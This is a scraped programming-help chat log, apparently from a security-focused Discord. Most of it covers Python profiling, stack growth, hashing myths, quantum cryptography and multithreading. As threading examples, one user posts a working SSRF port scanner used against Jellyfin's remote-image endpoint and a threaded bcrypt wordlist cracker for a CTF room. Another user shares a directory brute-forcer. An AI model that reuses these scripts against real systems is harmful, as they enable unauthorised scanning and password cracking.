frozen smelt Jun 2, 2021, 3:43 PM

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magic falcon The hardest part of learning and growing is knowing which direction to go in. Th...

also just to counter (Not devaluing your help i appreciate the help) but this feels like the mentalitiy that you gotta suffer to learn

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i am not sure if thats goood

frozen smelt Jun 2, 2021, 3:43 PM

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magic falcon Why would you copy the new list to the old list?

cause i was doing operation on the old list

magic falcon Jun 2, 2021, 3:43 PM

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Lessons hardest learned are best remembered.

frozen smelt Jun 2, 2021, 3:44 PM

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doesnt mean that everyone has to go through the same suffering the first guy who learned python did

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again i dont want to be disrespectful as i appreciate your help

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but it sounds like if i suffered in learning this i feel others should too

magic falcon Jun 2, 2021, 3:46 PM

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A large part of working in IT is developing problem solving ability. Creativity and flexibility are essential to that process; struggling with the problem seems to rewire the brain more effectively than just being told a solution.

frozen smelt Jun 2, 2021, 3:47 PM

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magic falcon A large part of working in IT is developing problem solving ability. Creativity ...

but again why do you think people ask in the chat its usually when they have tried a few things and troubleshooted a lot , again i was trying to ask for a approach

onyx merlin Jun 2, 2021, 3:48 PM

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why do you think people ask in the chat its usually when they have tried a few things and troubleshooted a lot I wish that was the case lol

hidden prawn Jun 2, 2021, 3:48 PM

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tbh many don't

frozen smelt Jun 2, 2021, 3:48 PM

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damn

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i mean i tried a fair few solutions to solve mine and then when none worked i asked

bitter field Jun 2, 2021, 3:50 PM

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onyx merlin `why do you think people ask in the chat its usually when they have tried a few ...

We wouldnt see you chatting so often lmaooo

magic falcon Jun 2, 2021, 3:50 PM

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So I'll add this, then I need to get back to work: Being able to articulate and document a problem is at least as important as solving the problem is.

lilac holly Jun 2, 2021, 5:09 PM

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@lilac holly

lilac holly Jun 2, 2021, 5:18 PM

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lilac holly <@456226577798135808>

hi @lilac holly

sharp coral Jun 2, 2021, 8:17 PM

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hey y'all looking for advice on optimizing some code, this routine is the main algorithm for a program

my program reads a file byte-by-byte, if the int value of the current byte is not 0-2 then this algorithm get executed and returns a tuple which sums the int value of the supplied byte

this returned tuple is then split in two elsewhere in the program, each half written to a different file to be re-assembled at the user's leisure

problem is this program takes about 8 minutes to run on a 70KB file 😭

def theTupler(mainByte):
    factors = []
    goodPairs = [] 
    byteMe = mainByte[0]
    
    while byteMe != 0:
        byteMe -= 1
        factors.append(byteMe)

    raw_pairs = itertools.permutations(factors, 2)
 
    for tuple in raw_pairs:
        if (tuple[0] + tuple[1]) == (factors[0]+1):
            goodPairs.append(tuple)
    
    final = random.choice(goodPairs)
    return final

magic falcon Jun 2, 2021, 8:26 PM

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Have you run the profiler on your code?

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The profiler will tell you exactly where the time is being spent; I have a suspicion on where it is, you'll kick yourself when you see it.

sharp coral Jun 2, 2021, 9:08 PM

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magic falcon The profiler will tell you _exactly_ where the time is being spent; I have a sus...

no I have not, that was actually going to be my next question, as my way of testing code is pretty primitive - like putting print statements before/after code-blocks primitive, this should help though, thanks!

wispy kestrelBOT Jun 2, 2021, 9:08 PM

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Gave +1 Rep to @magic falcon

magic falcon Jun 2, 2021, 9:10 PM

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sharp coral no I have not, that was actually going to be my next question, as my way of test...

Are you free? This is an area i'm pretty well versed in, I've got about 30 min before my next meeting if you want to have a quick chat about testing practices and methodology.

sharp coral Jun 2, 2021, 9:11 PM

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sure that sounds great!

vernal vigil Jun 4, 2021, 12:43 PM

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Don't think its a programming question, but anyways..

Why was stack chosen for growing downwards(downhill) and heap(uphill)?

is it just because to simplify indexing into the stack from a user program?

p.s. I am aware that stack going downhill is not a general thing, different processors have different ways.

mortal flint Jun 4, 2021, 12:45 PM

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There isn't really an up or down in computers/circuits, that's just the way we look at/interpret it, because it makes it easier to think about it or visualize it

vernal vigil Jun 4, 2021, 12:48 PM

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really because i read somewhere that it soley depends on the processor..?

mortal flint Jun 4, 2021, 12:57 PM

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Different processors do behave different ways, yes

magic falcon Jun 4, 2021, 1:04 PM

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vernal vigil Don't think its a programming question, but anyways.. Why was stack chosen for ...

IIRC it had to do with data allocation efficiency in single-CPU systems way back when. Are you studying or familiar with the concept of 'higher half kernel'?

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Stack direction could also change given a combination of compiler and architecture as well - a compiled program may grow stack up on with compiler A and architecture X, but compiling with compiler B on architecture X may allocate differently and grow stack down.

vernal vigil Jun 4, 2021, 1:10 PM

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magic falcon IIRC it had to do with data allocation efficiency in single-CPU systems way back...

Actually its a funny story, i was reading about BOFs, in that the subtopic was how memory works, and i've studied about Computer Arch a while ago, so i was curious why Stacks direction goes the way we're told it goes.
I didnt had this question when my profs were teaching it and while i read the book on it.
I researched a bit on it but didnt really got a good explanation.

magic falcon Jun 4, 2021, 1:14 PM

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I'm not fully confident in my answer - take it with a grain of salt. My personal opinion is that it made stack and freestore easier to predict what we consider today consider low-memory systems. In all practical aspects, stack direction doesn't matter at all due to the random chunks that should be allocated at runtime for individual application usage

brazen eagle Jun 4, 2021, 1:59 PM

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counting down is somewhat more efficient, especially for checking if any space is left. As a test is always against zero, counting up would require a subtraction before the test

brazen eagle Jun 4, 2021, 2:16 PM

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the difference is marginal these days

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though on smaller systems/µCs it might be relevent

lilac holly Jun 4, 2021, 3:06 PM

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@everyone
Hey guys is it possible to use tensor cores on nvidia gpu to crack password fast with cuda cores and tensor cores working to gather with help of AI algorithm run by tensor cores which will calculate hash of every next encrypted with specified hashing algorithm with some changes in tools like hash cat and john (because in gaming tensor cores are used to handel npcs and up scale the frame running on low resolution)and i think this is only possible on nvidia gpu because they have tensor in their gpu and programe called dlss and AMD GPU provied same but only on software side and their gpus don't have dedicated hardware in their for it

For example consider hashing algorithm in which encrypted version of abc something like this 2rd57hhs if the password is abc then tensor will find hash for a and then b and then c and send it to cuda for further processing

unreal tendon Jun 4, 2021, 3:08 PM

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dont use [everyone] please

lilac holly Jun 4, 2021, 3:08 PM

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Ok

unreal tendon Jun 4, 2021, 3:11 PM

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I am by no means an expert in cryptography , but the hash for abc is different than hash a + hash b + hash c for most hashing functions, also what would the AI do exactly ? I dont get it

lilac holly Jun 4, 2021, 3:19 PM

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Ok so consider a imaginary algorithm in which hash for abc is 2rd57hhs so ai will go to every known hashing and try to find with part of whole hash will try to match hash for a then and so on without any wordlist or dictionary while cdua in gpu will run normal CRACKING

onyx merlin Jun 4, 2021, 3:19 PM

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lilac holly @everyone Hey guys is it possible to use tensor cores on nvidia gpu to crack pa...

Answered elsewhere.
short answer: What?

onyx merlin Jun 4, 2021, 3:19 PM

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lilac holly Ok so consider a imaginary algorithm in which hash for abc is 2rd57hhs so ai wil...

What

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"Every known hash" That's an insane amount of data, and you're describing a rainbow table.

unreal tendon Jun 4, 2021, 3:24 PM

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onyx merlin "Every known hash" That's an insane amount of data, and you're describing a rain...

he is describing starbucks menu basically

magic falcon Jun 4, 2021, 3:25 PM

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What you want to do isn't feasible. hash(A) + hash(B) != hash(A+B)

unreal tendon Jun 4, 2021, 3:25 PM

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lilac holly Ok so consider a imaginary algorithm in which hash for abc is 2rd57hhs so ai wil...

hash a = 20 charecters
hash 20 charecters = 20 chars
hash 770 chars = 20 chars (not sure here)

lilac holly Jun 4, 2021, 3:25 PM

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Yes but on tensor core will spped up the process with help AI program for tensor cores corrently i m not able to explain but try to understand if you have graphics card like rtx 2060 having dedicated tensor cores for AI sittind idel when you are CRACKING on gpu the program will utilize them to crack hash faster

And i am not also crpto exprt i m just share thought of my mind

onyx merlin Jun 4, 2021, 3:25 PM

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There is no use for the AI

magic falcon Jun 4, 2021, 3:26 PM

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lilac holly Yes but on tensor core will spped up the process with help AI program for tensor...

What kind of AI algorithm? ML isn't going to work at all.

brazen eagle Jun 4, 2021, 3:32 PM

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don't think it's that feasible, besides, hashcat already abuses the GPU

onyx merlin Jun 4, 2021, 3:33 PM

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@lilac holly Unless you can describe why the tensor cores would be applicable, I don't think you're going to convince anyone that they're useful here.
You cannot just throw AI/ML at a problem and assume it will help.

brazen eagle Jun 4, 2021, 3:33 PM

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by definition a hash yields unpredictable results

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a small change in input yields a big change in output

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don't think ML'll be useful here beyond storing known plaintext:hash combinations...

onyx merlin Jun 4, 2021, 3:35 PM

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Why is ML applicable there? Searching sorted maps is fast

brazen eagle Jun 4, 2021, 3:35 PM

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might be able to speed up rainbow tables

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I'm basically saying it's not useful in any case

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but ML is the buzzword these days, gotta throw everything at it.

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problem is that ML is good at finding trends/connections, but hashing by definition has no trends (or shouldn't in any case)

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the point is that you can't tell what the input is for a given output

onyx merlin Jun 4, 2021, 3:37 PM

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Well, not without calculating it

brazen eagle Jun 4, 2021, 3:37 PM

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even then

onyx merlin Jun 4, 2021, 3:37 PM

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Expensive, time/computat ion wise

brazen eagle Jun 4, 2021, 3:38 PM

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given a hash, you can't find the plaintext without bruteforce

onyx merlin Jun 4, 2021, 3:38 PM

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Sorry, yes, misread that

brazen eagle Jun 4, 2021, 3:38 PM

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unless your algorithm is broken

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but hey if someone can figure it out then go for it

unreal tendon Jun 4, 2021, 3:44 PM

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if somone could mathmatically break a modern hashing algorithm, to the point of instant reversablity

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what are the wildest implications ?

magic falcon Jun 4, 2021, 3:45 PM

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You'd be able to reverse the hash. Making it not a hash, it would be an ecryption or encoding.

unreal tendon Jun 4, 2021, 3:46 PM

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magic falcon You'd be able to reverse the hash. Making it not a hash, it would be an ecryptio...

I heared it is much more wild than that

magic falcon Jun 4, 2021, 3:46 PM

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You heard wrong.

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Please provide sources, that contradicts everything I know about hashing.

unreal tendon Jun 4, 2021, 3:46 PM

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yes

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ok so I checked , you are right, but I got confused between hashing and an article I read about what would happen if we found an instant way to solve sudoko

magic falcon Jun 4, 2021, 3:49 PM

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Domain-constraint solving is very very different than hashing.

onyx merlin Jun 4, 2021, 3:50 PM

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unreal tendon I heared it is much more wild than that

You should see what happens if we find an efficient way to break a number into it's prome factors 😉

unreal tendon Jun 4, 2021, 3:50 PM

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magic falcon Domain-constraint solving is very very different than hashing.

yes I get it now

unreal tendon Jun 4, 2021, 3:50 PM

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onyx merlin You should see what happens if we find an efficient way to break a number into i...

aight

magic falcon Jun 4, 2021, 3:50 PM

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onyx merlin You should see what happens if we find an efficient way to break a number into i...

Lol. What are you going to suggest next, solving traveling salesman in polynomial time?

onyx merlin Jun 4, 2021, 3:51 PM

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magic falcon You'd be able to reverse the hash. Making it not a hash, it would be an ecryptio...

~~if you can do it for any input, you have a very very good compression algo~~

onyx merlin Jun 4, 2021, 3:51 PM

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magic falcon Lol. What are you going to suggest next, solving traveling salesman in polynomia...

Have you tried applying bogosort?

unreal tendon Jun 4, 2021, 3:52 PM

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onyx merlin ~~if you can do it for any input, you have a very very good compression algo~~

black hole compression kekw

unreal tendon Jun 4, 2021, 3:52 PM

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onyx merlin You should see what happens if we find an efficient way to break a number into i...

please link me an article or a cideo on the thing

onyx merlin Jun 4, 2021, 3:52 PM

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I would but not at my PC

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Anything I link would probably be academia so sometimes paywalled

lilac holly Jun 4, 2021, 3:53 PM

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Ok forget what i said before now question is can program like hash can utilize tensor cores on gpu to speed up the speed of CRACKING

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Hashcat i mean

unreal tendon Jun 4, 2021, 3:53 PM

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onyx merlin Anything I link would probably be academia so sometimes paywalled

would it like break physics or something, how wild it is ?

onyx merlin Jun 4, 2021, 3:54 PM

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lilac holly Ok forget what i said before now question is can program like hash can utilize t...

And we've said no

onyx merlin Jun 4, 2021, 3:54 PM

#

unreal tendon would it like break physics or something, how wild it is ?

It'd break public key cryptography, if it's efficient enough.

unreal tendon Jun 4, 2021, 3:59 PM

#

@onyx merlin found the link to the video that talks about sudoko, , https://youtu.be/YX40hbAHx3s

YouTube

hackerdashery

P vs. NP and the Computational Complexity Zoo

Hackerdashery #2

Inspired by the Complexity Zoo wiki: https://complexityzoo.uwaterloo.ca/Complexity_Zoo

For more advanced reading, I highly recommend Scott Aaronson's blog, Shtetl-Optimized: http://www.scottaaronson.com/blog/

Retro-fabulous, cabinet-sized computers:

System/360: http://en.wikipedia.org/wiki/IBM_System/360

photo: "360...

▶ Play video

onyx merlin Jun 4, 2021, 4:04 PM

#

unreal tendon would it like break physics or something, how wild it is ?

I hate to whip out wikipedia, but this is why people are scared of quantum computers

#

https://en.wikipedia.org/wiki/Shor's_algorithm

Shor%27s_algorithm

unreal tendon Jun 4, 2021, 4:05 PM

#

woah

#

I read the first line

#

it would break auth

#

but also solve dna folding and path finding in the process,right ? (probably worng )

mortal flint Jun 4, 2021, 4:07 PM

#

onyx merlin <@456226577798135808> Unless you can describe why the tensor cores would be appl...

Sure you can. That's the hot new buzzword, businesses everywhere are doing it!

onyx merlin Jun 4, 2021, 4:08 PM

#

One of my lecturers did it, with my final year project idea.
He didn't reply to my email asking how it could fit in to the project...

mortal flint Jun 4, 2021, 4:09 PM

#

lilac holly Ok forget what i said before now question is can program like hash can utilize t...

tensor cores no, but gpu in general, yes. Programs already do that.

mortal flint Jun 4, 2021, 4:10 PM

#

onyx merlin One of my lecturers did it, with my final year project idea. He didn't reply to ...

What, he just said "Add AI/ML" ?

onyx merlin Jun 4, 2021, 4:10 PM

#

mortal flint Jun 4, 2021, 4:12 PM

#

🙄 🤣

#

And I'd be willing to bet that half of that is so that he can "advise" you on writing a paper to publish, for one more bullet point on his cv

onyx merlin Jun 4, 2021, 4:12 PM

#

onyx merlin Jun 4, 2021, 4:13 PM

#

mortal flint And I'd be willing to bet that half of that is so that he can "advise" you on wr...

FYP like a dissertation, needs a supervisor

#

And yeah, I didn't get a reply

#

Redacted something that might identify the guy

mortal flint Jun 4, 2021, 4:14 PM

#

yeah, academia is a fairly broken system. At least in the US. I hear you folks have it a little better

brazen eagle Jun 4, 2021, 4:15 PM

#

from what I understood about quantum computing is let's figure out a way to get a superposition of all possible results and collapse it onto the correct one

#

the rest is mostly magic

onyx merlin Jun 4, 2021, 4:15 PM

#

mortal flint And I'd be willing to bet that half of that is so that he can "advise" you on wr...

They have a lot of research projects, but yeah I assume it'd be so it could be submitted to IEEE or something

mortal flint Jun 4, 2021, 4:15 PM

#

Ever seen the movie "Sneakers" ? If half of what people say about quantum computing is true, it would break everything, and change all the rules

brazen eagle Jun 4, 2021, 4:16 PM

#

it'll break RSA and DHE

onyx merlin Jun 4, 2021, 4:16 PM

#

That's on my list.
I had to do a research project about quantum-safe crypto and the crypto break so I'd like to think I'm reasonably educated on it

brazen eagle Jun 4, 2021, 4:16 PM

#

since those are based on prime factors

onyx merlin Jun 4, 2021, 4:16 PM

#

brazen eagle it'll break RSA and DHE

It also breaks ECC

#

The discrete logarithm problem is also affected by Shor's

brazen eagle Jun 4, 2021, 4:17 PM

#

so most public key crypto then

onyx merlin Jun 4, 2021, 4:17 PM

#

Grover's algorithm provides general speedups for hashing and sym crypto, but doesn't break break them

brazen eagle Jun 4, 2021, 4:17 PM

#

symmetric crypto is a different beast

mortal flint Jun 4, 2021, 4:17 PM

#

Have you heard the recent story about the "unhackable CPU" ?

onyx merlin Jun 4, 2021, 4:17 PM

#

NSA's advice RE Sym crypto is just to go to AES-256 from 128

onyx merlin Jun 4, 2021, 4:18 PM

#

brazen eagle symmetric crypto is a different beast

The two scary algos are shor's and grover's

brazen eagle Jun 4, 2021, 4:18 PM

#

should be using AES-256 anyways

#

with a modern mode

onyx merlin Jun 4, 2021, 4:18 PM

#

Currently, limited by the qbit count. There's a couple classes of quantum computers and we don't have anywhere near enough stable qubits in the right type.

brazen eagle Jun 4, 2021, 4:19 PM

#

ie if I see you using AES in ECB mode you're getting your arse kicked from here to...somewhere far away

onyx merlin Jun 4, 2021, 4:19 PM

#

Ok but it's neat!

brazen eagle Jun 4, 2021, 4:19 PM

#

most quantum computing algos amount to fancy bruteforcing

onyx merlin Jun 4, 2021, 4:20 PM

#

Grover's is the algo related to searches etc that weakens hashing and sym crypto

mortal flint Jun 4, 2021, 4:20 PM

#

I'll have to take your word for that, I don't know quantum hardly at all

onyx merlin Jun 4, 2021, 4:20 PM

#

I have a bunch of academic papers on it, but we all know how accessible they will be to most people here...

brazen eagle Jun 4, 2021, 4:20 PM

#

try all the possibilities and measure the one that fits

mortal flint Jun 4, 2021, 4:20 PM

#

but even if it's brute forcing, if it can do it at many orders of magnitudes faster than current, it suddenly makes impossible things feasible

brazen eagle Jun 4, 2021, 4:20 PM

#

in very vulgarized terms

#

it bruteforces in O(1) time basically

#

If I understood correctly

mortal flint Jun 4, 2021, 4:21 PM

#

so yeah.... that's a big deal

#

that changes everything

brazen eagle Jun 4, 2021, 4:21 PM

#

it does

#

which is why you have to rethink encryption

onyx merlin Jun 4, 2021, 4:22 PM

#

I recommend leaving the rethinking of encryption to the crypto people

brazen eagle Jun 4, 2021, 4:22 PM

#

yes

#

still O(n) space though, probably

onyx merlin Jun 4, 2021, 4:22 PM

#

We have the standards really, I think we're in the final rounds of some of the competitions

mortal flint Jun 4, 2021, 4:22 PM

#

the "royal you"

brazen eagle Jun 4, 2021, 4:23 PM

#

that said, for now, use proper Key-derivation functions, and AES-256 in a sane mode.

#

and DHE or some other public key crypto to share the key

onyx merlin Jun 4, 2021, 4:24 PM

#

That reminds me, I want to write a challenge response protocol

#

Another thing for my list then

brazen eagle Jun 4, 2021, 4:24 PM

#

most of them use RSA or the like

#

encrypt a nonce, send it as the challenge, response should be the same nonce encrypted using the challenger's public key

#

for example

#

(this would probably be a bad method tbf)

#

look up Webauthn though, it's pretty neat

onyx merlin Jun 4, 2021, 4:29 PM

#

Whomever coined the word "nonce" in cryptography was certainly not british.

onyx merlin Jun 4, 2021, 4:30 PM

#

brazen eagle look up Webauthn though, it's pretty neat

Oh, you think I want to do it securely?

brazen eagle Jun 4, 2021, 4:30 PM

#

look up Kerberos then

sharp coral Jun 4, 2021, 9:00 PM

#

@magic falcon hey FWIW I managed to trim down that function I was working on the other day down to a quarter of the size and thanks to pytest actually had improvement I could measure - still slow as hell but does exactly what I want

wispy kestrelBOT Jun 4, 2021, 9:00 PM

#

Gave +1 Rep to @magic falcon

sharp coral Jun 4, 2021, 9:01 PM

#

now to tackle multi-threading program design next

magic falcon Jun 4, 2021, 9:10 PM

#

sharp coral now to tackle multi-threading program design next

That's a big improvement! Did you run the profiler?
Threading is a real big issue in python. If you feel lost after looking at both async and multiprocessing, let me know

brazen eagle Jun 4, 2021, 9:11 PM

#

look up concurrent.futures

sharp coral Jun 4, 2021, 9:14 PM

#

magic falcon That's a big improvement! Did you run the profiler? Threading is a real big iss...

yep the profiler helped a bunch actually but the problem is mainly with the program design, not a quick fix Im seeing without tearing everything up

sharp coral Jun 4, 2021, 9:14 PM

#

brazen eagle look up concurrent.futures

will do, I took a crack at using 2 threads very late last night and did not have a good time - might possibly just write this in Go tbh

magic falcon Jun 4, 2021, 9:17 PM

#

brazen eagle look up concurrent.futures

Good recommendation. Most of the time, I'm dealing with race conditions and producer-consumer relationships - futures didn't even occur to me

brazen eagle Jun 4, 2021, 9:18 PM

#

It seemed to be the easiest threading bit to me in python3

#

It combines well with tqdm if you need progress bars

magic falcon Jun 4, 2021, 9:19 PM

#

I thought async was the easiest, but it doesn't get around the GIL. multiprocessing does, and it looks like concurrent.futures is tightly coupled to multiprocessing

brazen eagle Jun 4, 2021, 9:19 PM

#

Or is it tdqm

#

Concurrent.futures simplifies the syntax at the very least

#

I can grab some examples in a bit if needs be

sharp coral Jun 4, 2021, 9:22 PM

#

if have you have em please do, ill throw them in my notes - either way I know where to look now 🙂

brazen eagle Jun 4, 2021, 9:24 PM

#

class PortScanner:
    def scan_port(self, server_url, ip, port):
        try:
            r = requests.get(url=f"{server_url}Images/Remote?imageUrl=http://{ip}:{port}", timeout=1)
        except requests.exceptions.Timeout as e:
            return;

        if r.status_code < 400:
            print(f"{ip} : {port} {colours.green}OPEN{colours.end}")

    def scan(self, server_url, ip, ports):
        ip_port_tuples = ((server_url, ip, port) for port in ports)
        with concurrent.futures.ThreadPoolExecutor(max_workers=32) as executor:
            executor.map(lambda p: self.scan_port(*p), ip_port_tuples)

Here's a basic port scanner

#

that I used for my jellyfin attack

sharp coral Jun 4, 2021, 9:24 PM

#

oh wow thats a lot more readable than what I was looking at lol

brazen eagle Jun 4, 2021, 9:25 PM

#

max_workers is the number of threads, basically

#

executor.map takes in a function

#

I use a lambda here because my function has multiple params

#

but if I had no params, then I can just use the function reference

#

recommend looking at the documentation though

#

import base64
import bcrypt
import sys
import concurrent.futures
from tqdm import tqdm

salt = b'$2b$12$SVInH5XmuS3C7eQkmqa6UOM6sDIuumJPrvuiTr.Lbz3GCcUqdf.z6'

def testPasswd(password):
    bpass = password.encode('ascii')
    passed= str(base64.b64encode(bpass))
    return bcrypt.checkpw(passed.encode(), salt)

def genPasswd(password):
    saltySalt = b'$2b$12$SVInH5XmuS3C7eQkmqa6UO'
    bpass = password.encode('ascii')
    passed = str(base64.b64encode(bpass))
    crypted = bcrypt.hashpw(passed.encode(), saltySalt)
    return crypted == salt

with open(sys.argv[1]) as f:
    passwords = f.readlines()
    maxLines = len(passwords)
    print(f'{maxLines} passwords to test')
    with concurrent.futures.ThreadPoolExecutor(max_workers=16) as executor:
        for pwd, res in tqdm(zip(passwords, executor.map(genPasswd, passwords, chunksize=10000)), total=maxLines):
            if res:
                print(f'Found match: {pwd}')

#

here's a bit that was trying to crack a bcrypt password for a room

#

sorry about the bad code

sharp coral Jun 4, 2021, 9:31 PM

#

oh you haven't taken a look at github then don't worry about bad code lmao

#

this is super helpful though, i guess my biggest hurdle is just kinda wrapping my head around designing functions that work with multiple threads, I just have to make sure things are put in order in my case

magic falcon Jun 4, 2021, 9:33 PM

#

I don't remember all the details offhand, but multiprocessing should be better for data in memory, and async should be better for I/O bound tasks. @brazen eagle probably has better insight here than I do

brazen eagle Jun 4, 2021, 9:33 PM

#

I don't know python THAT well

#

I just use whatever's easier to code 😄

#

but I'd probably generate benchmarks if I really wanted to try optimizing

#

for multithreaded functions, you want to remain as stateless as possible.. good advice for any function, really

#

avoid side effects and everything should be fine

#

if you need to modify state then you'll have to look into mutexes or semaphores, and those are a pain in the arse

#

https://docs.python.org/3/library/concurrent.futures.html here's the doc

mortal flint Jun 4, 2021, 9:48 PM

#

Do any of you have a python profiler you really like?

magic falcon Jun 4, 2021, 9:50 PM

#

I just use the standard one - https://docs.python.org/3/library/profile.html

#

For most analysis, i use cProfile. I think I've only used profile once, and it was significantly slower

mortal flint Jun 4, 2021, 9:54 PM

#

cool, thanks. I haven't worked with it before but can look into it

fair zephyr Jun 4, 2021, 11:10 PM

#

i made something with multiprocessing and logging, nothing too fancy

#

#!/usr/bin/env/python3
import multiprocessing,requests,logging,time,queue
from multiprocessing import Pool,Process
class Request(object):
    def __init__(self,url):
        self.url = url
    def main(self):
        arr = []
        global wordl 
        wordl = open('/usr/share/wordlists/dirb/common.txt','r')
        readw  = wordl.readlines()
        for i in readw:
            r = requests.get(self.url + '/' + i)
            global positive_req 
            positive_req = r.status_code == 200 or r.status_code < 400
            arr.append(positive_req)
            if r.status_code == 200 or r.status_code < 400:
                print(f'[{r.status_code}]Request->{self.url}/{i}')
            else:
                print(f'[{r.status_code}]Request->{self.url}/{i}')
    def output(self):
     openwl = open('/usr/share/wordlists/dirb/common.txt','r')
     print('Saving positive response to a txt file(If any).')
     readwl = openwl.readlines()
     for i in readwl:
         r2 = requests.get(self.url + '/' + i)
         positive = r2.status_code == 200
         with open('dirs.txt','w') as saved_file:
          for i in readwl:
           if r2.status_code == 200:
             saved_file.write('/' + str(i)) 
          else:
              pass
if __name__ == '__main__':
    Req = Request('https://google.com')
    process = Process(target=Req.main)
    process_output = Process(target=Req.output)
    q = queue.Queue()
    t = time.time()
    try:
        logging.basicConfig(format='%(asctime)s - %(message)s', datefmt='%d-%b-%y %H:%M:%S')
        logging.warning('Request started.')
        for i in range(10):
            process.start()
            process.join()
            process_output.start()
            process_output.join()
            print("Done in: {}".format(time.time()-t) + 's')
    except Exception:
        logging.error('Status Finished.')

slate hatch Jun 5, 2021, 8:50 AM

#

help i am trying to code a cooler command prompt and it wont open it just immediatly crashes

#

@echo off
chcp 65001 >nul
cls
:top
color 2
title Cool Command prompt
echo Welcome to the Cooler Command Prompt
echo Type 'Help' For Commands!
color 7
echo Microsoft Widnows [Version 10.0.19042.985]
echo (c) Microsoft Corportation. All rights reserved.
echo.
echo C:\WINDOWS\system32>
set /p main=C:\WINDOWS\system32>

if %main% == help goto help

:help
echo Commands

#

pls help

#

i dont know whats wrong it in batch btw

restive fossil Jun 5, 2021, 11:07 AM

#

is it possible to make a python program that runs as a background process: so to elaborate how can i make program, that when clicked, doesnt show it is running but once you open task manager, you see the program running?

true pumice Jun 5, 2021, 11:15 AM

#

Given your previous comments, I am considering asking you to ask elsewhere.

void falcon Jun 5, 2021, 2:07 PM

#

I want capture username and password to store in file auth.log that trying to ssh into my server
My system is ubuntu 20.4. I even refered to this link - https://hackernoon.com/how-ive-captured-all-passwords-trying-to-ssh-into-my-server-d26a2a6263ec

How I’ve captured all passwords trying to ssh into my server! | Hac...

#

I even refer the above link and installed ssh but it did not work I was not able to ssh in to my system. As ubuntu come with pre installed openssh . I removed it by using this command sudo apt-get remove --purge openssh-client and this command also sudo apt-get remove --purge openssh-server and again tried installing using portable openssh but it gave the error ssh.service not find. Can anyone help me with this

halcyon sandal Jun 5, 2021, 5:22 PM

#

restive fossil is it possible to make a python program that runs as a background process: so to...

It sounds like you want to "daemonize" the process: https://en.wikipedia.org/wiki/Daemon_(computing) I suggest you research on "how to create a daemon process in Python" - it really depends if you want to do this under Unix or Windows, whether you want to use a library etc.

Daemon (computing)

In multitasking computer operating systems, a daemon ( or ) is a computer program that runs as a background process, rather than being under the direct control of an interactive user. Traditionally, the process names of a daemon end with the letter d, for clarification that the process is in fact a daemon, and for differentiation between a daemo...

restive fossil Jun 5, 2021, 5:24 PM

#

halcyon sandal It sounds like you want to "daemonize" the process: https://en.wikipedia.org/wik...

meetov doesnt making the file extension .pyw make it work?

halcyon sandal Jun 5, 2021, 5:27 PM

#

@restive fossil I haven't done this since I have used Python mostly under Linux, but it seems to do the trick under Windows 🙂 A daemon might be too complicated for your case 🙂

gentle ginkgo Jun 5, 2021, 10:19 PM

#

free resource learn blackhat python ?

Message #programming

onyx merlin Jun 5, 2021, 10:41 PM

#

gentle ginkgo free resource learn blackhat python ? Message <#785620917073608704>

?

gray ledge Jun 6, 2021, 12:00 AM

#

is anybody familiar with python websockets?

remote echo Jun 6, 2021, 3:50 AM

#

gray ledge is anybody familiar with python websockets?

I think you should just ask

#

Someone will help

glass cape Jun 6, 2021, 9:09 AM

#

gray ledge is anybody familiar with python websockets?

this might help you https://pypi.org/project/websockets/

PyPI

websockets

An implementation of the WebSocket Protocol (RFC 6455 & 7692)

normal sable Jun 6, 2021, 10:07 AM

#

could someone please help me and explain a how an sqli scanner I found actually works? the program is only 100 lines long but I can't understand it very well and it would really help if someone could explain it for me as I need to be able to recreate for a project I'm working on. Thank you for any help

#

Or just how to generate and detect sqlis in python would be great 😅

fathom bramble Jun 6, 2021, 1:24 PM

#

can anyone recommend a good resource for learning powershell?

vernal vigil Jun 6, 2021, 1:29 PM

#

@fathom bramble I havent personally read these, but it was shared in #resources along time ago, so its worth a try:
https://docs.microsoft.com/en-us/powershell/scripting/learn/more-powershell-learning?view=powershell-7
https://powershellexplained.com/

fathom bramble Jun 6, 2021, 1:30 PM

#

vernal vigil <@!767413089439973436> I havent personally read these, but it was shared in <#55...

thank brother

wispy kestrelBOT Jun 6, 2021, 1:30 PM

#

Gave +1 Rep to @vernal vigil

gray ledge Jun 6, 2021, 2:00 PM

#

glass cape this might help you https://pypi.org/project/websockets/

thanks!

wispy kestrelBOT Jun 6, 2021, 2:00 PM

#

Gave +1 Rep to @glass cape

ebon dawn Jun 6, 2021, 4:35 PM

#

i need to do the following

Write a command (pipeline) that would summarize the number of daily logins of each user.
Use the above to write a script, which would report that numbers -- only the nonzero ones -- to a log file.
Prepare a crontab entry so that the script would be run once a day.
this is the first script

#

for the second task i need to check if the last password change happened more than 90 days ago and if so require the user to change the password

#

this is unix bash

#

btw

#

sorry, got rerouted from general

glass cape Jun 6, 2021, 4:36 PM

#

what have you tried till now

ebon dawn Jun 6, 2021, 4:36 PM

#

learning unix

sharp coral Jun 6, 2021, 4:37 PM

#

start with this

Write a command (pipeline) that would summarize the number of daily logins of each user.
there are some log files you can use for this purpose

glass cape Jun 6, 2021, 4:37 PM

#

do you want that some one should right a code for you ??

ebon dawn Jun 6, 2021, 4:37 PM

#

no, i just dont know what to look for

#

but yeah of course i would want to do nothing who wouldnt, but that's not what im asking

ebon dawn Jun 6, 2021, 4:38 PM

#

sharp coral start with this > 1. Write a command (pipeline) that would summarize the number ...

my initial idea was to make a crontab that would create a file if it doesnt exist and log the login

#

but if the file already exists there is no need to do so

#

which file is it tho

#

somethere in the /etc id guess

sharp coral Jun 6, 2021, 4:39 PM

#

nope - linux provides a load of log files you can use here - i'd probably use /var/log/auth.log - now I leave up to you how you should parse that

#

you can read the log file with paged output with less -S, skim around the file and look for what a successful login looks like, then you'll need to parse the date and make sure its from today

ebon dawn Jun 6, 2021, 4:41 PM

#

so i need to look data parsing for linux

sharp coral Jun 6, 2021, 4:41 PM

#

you shouldn't need anything more than cut, tr, awk, and grep - all of which are native linux tools

ebon dawn Jun 6, 2021, 4:41 PM

#

btw man, my bash tells me there is no such file or directory

#

yeah ik grep

#

there was a command i found online

#

hol on

#

grep LOGIN /var/log/messages |grep username | wc -l

sharp coral Jun 6, 2021, 4:43 PM

#

i've never seen or heard of the messages log - that might be a 3rd party application

ebon dawn Jun 6, 2021, 4:43 PM

#

but this doesnt use the dir you sent

ebon dawn Jun 6, 2021, 4:43 PM

#

ebon dawn btw man, my bash tells me there is no such file or directory

this is the thing for me

sharp coral Jun 6, 2021, 4:44 PM

#

sudo find / -type f -name "auth.log" 2>/dev/null

#

try that

magic falcon Jun 6, 2021, 4:44 PM

#

sharp coral i've never seen or heard of the messages log - that might be a 3rd party applica...

